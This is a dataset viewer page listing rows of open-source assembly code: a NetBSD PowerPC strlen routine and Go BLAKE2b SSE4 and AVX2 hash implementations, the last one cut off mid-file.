lumees/github-code-2025-language-split · Datasets at Hugging Face

repo_id stringlengths 5 115	size int64 590 5.01M	file_path stringlengths 4 212	content stringlengths 590 5.01M
0xffea/MINIX3	4,686	common/lib/libc/arch/powerpc/string/strlen.S	/* $NetBSD: strlen.S,v 1.6 2011/01/15 07:31:12 matt Exp $ / /- * Copyright (C) 2001 Martin J. Laubach <mjl@NetBSD.org> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. / /----------------------------------------------------------------------/ #include <machine/asm.h> __RCSID("$NetBSD: strlen.S,v 1.6 2011/01/15 07:31:12 matt Exp $"); /----------------------------------------------------------------------/ / The algorithm here uses the following techniques: 1) Given a word 'x', we can test to see if it contains any 0 bytes by subtracting 0x01010101, and seeing if any of the high bits of each byte changed from 0 to 1. This works because the least significant 0 byte must have had no incoming carry (otherwise it's not the least significant), so it is 0x00 - 0x01 == 0xff. For all other byte values, either they have the high bit set initially, or when 1 is subtracted you get a value in the range 0x00-0x7f, none of which have their high bit set. The expression here is (x + 0xfefefeff) & ~(x \| 0x7f7f7f7f), which gives 0x00000000 when there were no 0x00 bytes in the word. 2) Given a word 'x', we can test to see _which_ byte was zero by calculating ~(((x & 0x7f7f7f7f) + 0x7f7f7f7f) \| x \| 0x7f7f7f7f). This produces 0x80 in each byte that was zero, and 0x00 in all the other bytes. The '\| 0x7f7f7f7f' clears the low 7 bits in each byte, and the '\| x' part ensures that bytes with the high bit set produce 0x00. The addition will carry into the high bit of each byte iff that byte had one of its low 7 bits set. We can then just see which was the most significant bit set and divide by 8 to find how many to add to the index. This is from the book 'The PowerPC Compiler Writer's Guide', by Steve Hoxey, Faraydon Karim, Bill Hay and Hank Warren. / /----------------------------------------------------------------------/ .text .align 4 ENTRY(strlen) / Setup constants / lis %r10, 0x7f7f lis %r9, 0xfefe ori %r10, %r10, 0x7f7f ori %r9, %r9, 0xfeff / Mask out leading bytes on non aligned strings / rlwinm. %r8, %r3, 3, 27, 28 / leading bits to mask / #ifdef _LP64 clrrdi %r5, %r3, 2 / clear low 2 addr bits / #else clrrwi %r5, %r3, 2 / clear low 2 addr bits / #endif li %r0, -1 beq+ 3f / skip alignment if already / / aligned / srw %r0, %r0, %r8 / make 0000...1111 mask / lwz %r7, 0(%r5) nor %r0, %r0, %r0 / invert mask / or %r7, %r7, %r0 / make leading bytes != 0 / b 2f 3: subi %r5, %r5, 4 1: lwzu %r7, 4(%r5) / fetch data word / 2: nor %r0, %r7, %r10 / do step 1 / add %r6, %r7, %r9 and. %r0, %r0, %r6 beq+ 1b / no NUL bytes here / and %r8, %r7, %r10 / ok, a NUL is somewhere / or %r7, %r7, %r10 / do step 2 to find out / add %r0, %r8, %r10 / where / nor %r8, %r7, %r0 cntlzw %r0, %r8 / offset from this word / srwi %r4, %r0, 3 add %r4, %r5, %r4 / r4 contains end pointer / / NOTE: Keep it so this function returns the end pointer in r4, so we can it use from other str* calls (strcat comes to mind / subf %r3, %r3, %r4 blr END(strlen) /----------------------------------------------------------------------*/
0xPolygon/bor	7,684	crypto/blake2b/blake2b_amd64.s	// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build amd64,!gccgo,!appengine #include "textflag.h" DATA ·iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·iv0<>(SB), (NOPTR+RODATA), $16 DATA ·iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·iv1<>(SB), (NOPTR+RODATA), $16 DATA ·iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·iv2<>(SB), (NOPTR+RODATA), $16 DATA ·iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·iv3<>(SB), (NOPTR+RODATA), $16 DATA ·c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·c40<>(SB), (NOPTR+RODATA), $16 DATA ·c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·c48<>(SB), (NOPTR+RODATA), $16 #define SHUFFLE(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v6, t1; \ PUNPCKLQDQ v6, t2; \ PUNPCKHQDQ v7, v6; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ v7, t2; \ MOVO t1, v7; \ MOVO v2, t1; \ PUNPCKHQDQ t2, v7; \ PUNPCKLQDQ v3, t2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v3 #define SHUFFLE_INV(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v2, t1; \ PUNPCKLQDQ v2, t2; \ PUNPCKHQDQ v3, v2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ v3, t2; \ MOVO t1, v3; \ MOVO v6, t1; \ PUNPCKHQDQ t2, v3; \ PUNPCKLQDQ v7, t2; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v7 #define HALF_ROUND(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ PADDQ m0, v0; \ PADDQ m1, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFD $0xB1, v6, v6; \ PSHUFD $0xB1, v7, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ PSHUFB c40, v2; \ PSHUFB c40, v3; \ PADDQ m2, v0; \ PADDQ m3, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFB c48, v6; \ PSHUFB c48, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ MOVOU v2, t0; \ PADDQ v2, t0; \ PSRLQ $63, v2; \ PXOR t0, v2; \ MOVOU v3, t0; \ PADDQ v3, t0; \ PSRLQ $63, v3; \ PXOR t0, v3 #define LOAD_MSG(m0, m1, m2, m3, i0, i1, i2, i3, i4, i5, i6, i7) \ MOVQ i08(SI), m0; \ PINSRQ $1, i18(SI), m0; \ MOVQ i28(SI), m1; \ PINSRQ $1, i38(SI), m1; \ MOVQ i48(SI), m2; \ PINSRQ $1, i58(SI), m2; \ MOVQ i68(SI), m3; \ PINSRQ $1, i78(SI), m3 // func fSSE4(h [8]uint64, m [16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fSSE4(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP MOVOU ·iv3<>(SB), X0 MOVO X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·iv3 ^ (CX \|\| 0) MOVOU ·c40<>(SB), X13 MOVOU ·c48<>(SB), X14 MOVOU 0(AX), X12 MOVOU 16(AX), X15 MOVQ R8, X8 PINSRQ $1, R9, X8 MOVO X12, X0 MOVO X15, X1 MOVOU 32(AX), X2 MOVOU 48(AX), X3 MOVOU ·iv0<>(SB), X4 MOVOU ·iv1<>(SB), X5 MOVOU ·iv2<>(SB), X6 PXOR X8, X6 MOVO 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 0, 2, 4, 6, 1, 3, 5, 7) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 1, 0, 11, 5, 12, 2, 7, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 11, 12, 5, 15, 8, 0, 2, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 2, 5, 4, 15, 6, 10, 0, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 9, 5, 2, 10, 0, 7, 4, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 2, 6, 0, 8, 12, 10, 11, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 0, 6, 9, 8, 7, 3, 2, 11) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 5, 15, 8, 2, 0, 4, 6, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 6, 14, 11, 0, 15, 9, 3, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 12, 13, 1, 10, 2, 7, 4, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 15, 9, 3, 13, 11, 14, 12, 0) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) JMP loop done: MOVOU 32(AX), X10 MOVOU 48(AX), X11 PXOR X0, X12 PXOR X1, X15 PXOR X2, X10 PXOR X3, X11 PXOR X4, X12 PXOR X5, X15 PXOR X6, X10 PXOR X7, X11 MOVOU X10, 32(AX) MOVOU X11, 48(AX) MOVOU X12, 0(AX) MOVOU X15, 16(AX) MOVQ BP, SP RET
0xPolygon/bor	23,301	crypto/blake2b/blake2bAVX2_amd64.s	// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build go1.7,amd64,!gccgo,!appengine #include "textflag.h" DATA ·AVX2_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX2_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b DATA ·AVX2_iv0<>+0x10(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX2_iv0<>+0x18(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX2_iv0<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_iv1<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX2_iv1<>+0x08(SB)/8, $0x9b05688c2b3e6c1f DATA ·AVX2_iv1<>+0x10(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX2_iv1<>+0x18(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX2_iv1<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b DATA ·AVX2_c40<>+0x10(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x18(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX2_c40<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a DATA ·AVX2_c48<>+0x10(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x18(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX2_c48<>(SB), (NOPTR+RODATA), $32 DATA ·AVX_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·AVX_iv0<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX_iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX_iv1<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX_iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·AVX_iv2<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX_iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX_iv3<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX_c40<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX_c48<>(SB), (NOPTR+RODATA), $16 #define VPERMQ_0x39_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x39 #define VPERMQ_0x93_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x93 #define VPERMQ_0x4E_Y2_Y2 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xd2; BYTE $0x4e #define VPERMQ_0x93_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x93 #define VPERMQ_0x39_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x39 #define ROUND_AVX2(m0, m1, m2, m3, t, c40, c48) \ VPADDQ m0, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m1, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y1_Y1; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y3_Y3; \ VPADDQ m2, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m3, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y3_Y3; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y1_Y1 #define VMOVQ_SI_X11_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x1E #define VMOVQ_SI_X12_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x26 #define VMOVQ_SI_X13_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x2E #define VMOVQ_SI_X14_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x36 #define VMOVQ_SI_X15_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x3E #define VMOVQ_SI_X11(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x5E; BYTE $n #define VMOVQ_SI_X12(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x66; BYTE $n #define VMOVQ_SI_X13(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x6E; BYTE $n #define VMOVQ_SI_X14(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x76; BYTE $n #define VMOVQ_SI_X15(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x7E; BYTE $n #define VPINSRQ_1_SI_X11_0 BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x1E; BYTE $0x01 #define VPINSRQ_1_SI_X12_0 BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x26; BYTE $0x01 #define VPINSRQ_1_SI_X13_0 BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x2E; BYTE $0x01 #define VPINSRQ_1_SI_X14_0 BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x36; BYTE $0x01 #define VPINSRQ_1_SI_X15_0 BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x3E; BYTE $0x01 #define VPINSRQ_1_SI_X11(n) BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x5E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X12(n) BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x66; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X13(n) BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x6E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X14(n) BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x76; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X15(n) BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x7E; BYTE $n; BYTE $0x01 #define VMOVQ_R8_X15 BYTE $0xC4; BYTE $0x41; BYTE $0xF9; BYTE $0x6E; BYTE $0xF8 #define VPINSRQ_1_R9_X15 BYTE $0xC4; BYTE $0x43; BYTE $0x81; BYTE $0x22; BYTE $0xF9; BYTE $0x01 // load msg: Y12 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y12(i0, i1, i2, i3) \ VMOVQ_SI_X12(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X12(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y12, Y12 // load msg: Y13 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y13(i0, i1, i2, i3) \ VMOVQ_SI_X13(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X13(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y13, Y13 // load msg: Y14 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y14(i0, i1, i2, i3) \ VMOVQ_SI_X14(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X14(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y14, Y14 // load msg: Y15 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y15(i0, i1, i2, i3) \ VMOVQ_SI_X15(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X15(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X11(48); \ VPINSRQ_1_SI_X12(28); \ VPINSRQ_1_SI_X11(68); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(1, 3, 5, 7); \ LOAD_MSG_AVX2_Y14(8, 10, 12, 14); \ LOAD_MSG_AVX2_Y15(9, 11, 13, 15) #define LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() \ LOAD_MSG_AVX2_Y12(14, 4, 9, 13); \ LOAD_MSG_AVX2_Y13(10, 8, 15, 6); \ VMOVQ_SI_X11(118); \ VPSHUFD $0x4E, 08(SI), X14; \ VPINSRQ_1_SI_X11(58); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(12, 2, 7, 3) #define LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() \ VMOVQ_SI_X11(58); \ VMOVDQU 118(SI), X12; \ VPINSRQ_1_SI_X11(158); \ VINSERTI128 $1, X11, Y12, Y12; \ VMOVQ_SI_X13(88); \ VMOVQ_SI_X11(28); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X11(138); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(10, 3, 7, 9); \ LOAD_MSG_AVX2_Y15(14, 6, 1, 4) #define LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() \ LOAD_MSG_AVX2_Y12(7, 3, 13, 11); \ LOAD_MSG_AVX2_Y13(9, 1, 12, 14); \ LOAD_MSG_AVX2_Y14(2, 5, 4, 15); \ VMOVQ_SI_X15(68); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X15(108); \ VPINSRQ_1_SI_X11(88); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() \ LOAD_MSG_AVX2_Y12(9, 5, 2, 10); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X11(48); \ VPINSRQ_1_SI_X13(78); \ VPINSRQ_1_SI_X11(158); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(14, 11, 6, 3); \ LOAD_MSG_AVX2_Y15(1, 12, 8, 13) #define LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() \ VMOVQ_SI_X12(28); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X12(68); \ VPINSRQ_1_SI_X11(88); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(12, 10, 11, 3); \ LOAD_MSG_AVX2_Y14(4, 7, 15, 1); \ LOAD_MSG_AVX2_Y15(13, 5, 14, 9) #define LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() \ LOAD_MSG_AVX2_Y12(12, 1, 14, 4); \ LOAD_MSG_AVX2_Y13(5, 15, 13, 10); \ VMOVQ_SI_X14_0; \ VPSHUFD $0x4E, 88(SI), X11; \ VPINSRQ_1_SI_X14(68); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(7, 3, 2, 11) #define LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() \ LOAD_MSG_AVX2_Y12(13, 7, 12, 3); \ LOAD_MSG_AVX2_Y13(11, 14, 1, 9); \ LOAD_MSG_AVX2_Y14(5, 15, 8, 2); \ VMOVQ_SI_X15_0; \ VMOVQ_SI_X11(68); \ VPINSRQ_1_SI_X15(48); \ VPINSRQ_1_SI_X11(108); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() \ VMOVQ_SI_X12(68); \ VMOVQ_SI_X11(118); \ VPINSRQ_1_SI_X12(148); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(15, 9, 3, 8); \ VMOVQ_SI_X11(18); \ VMOVDQU 128(SI), X14; \ VPINSRQ_1_SI_X11(108); \ VINSERTI128 $1, X11, Y14, Y14; \ VMOVQ_SI_X15(28); \ VMOVDQU 48(SI), X11; \ VPINSRQ_1_SI_X15(78); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() \ LOAD_MSG_AVX2_Y12(10, 8, 7, 1); \ VMOVQ_SI_X13(28); \ 